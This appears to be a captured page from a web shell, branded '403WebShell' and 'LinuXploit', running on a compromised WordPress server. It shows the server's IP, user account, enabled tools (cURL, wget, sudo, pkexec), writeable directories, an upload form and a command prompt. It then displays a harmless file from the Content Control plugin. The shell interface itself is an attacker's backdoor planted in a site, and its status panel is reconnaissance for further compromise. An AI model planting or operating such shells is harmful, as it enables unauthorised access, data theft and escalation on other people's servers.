Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.179
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /chroot/home/devinter/public_html/wp-content/plugins/content-control/inc/deprecated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /chroot/home/devinter/public_html/wp-content/plugins/content-control/inc/deprecated/class.is.php
<?php
/**
 * Deprecated Is class.
 *
 * @copyright (c) 2023, Code Atlantic LLC.
 * @package ContentControl
 */

namespace JP\CC;

defined( 'ABSPATH' ) || exit;

/**
 * Conditional helper utilities.
 *
 * @package ContentControl
 *
 * @deprecated 2.0.0
 */
class Is {

	/**
	 * Check if a content is accessible to current user.
	 *
	 * @param string                               $who logged_in or logged_out.
	 * @param string[]|array<string,string>|string $roles array of roles to check.
	 *
	 * @return bool
	 *
	 * @deprecated 2.0.0
	 */
	public static function accessible( $who = '', $roles = [] ) {
		return \ContentControl\user_meets_requirements( $who, $roles, 'match' );
	}

	/**
	 * Check if a content is blocked to current user.
	 *
	 * @param string                               $who logged_in or logged_out.
	 * @param string[]|array<string,string>|string $roles array of roles to check.
	 *
	 * @return boolean
	 *
	 * @deprecated 2.0.0
	 */
	public static function restricted( $who = '', $roles = [] ) {
		return ! \ContentControl\user_meets_requirements( $who, $roles, 'match' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit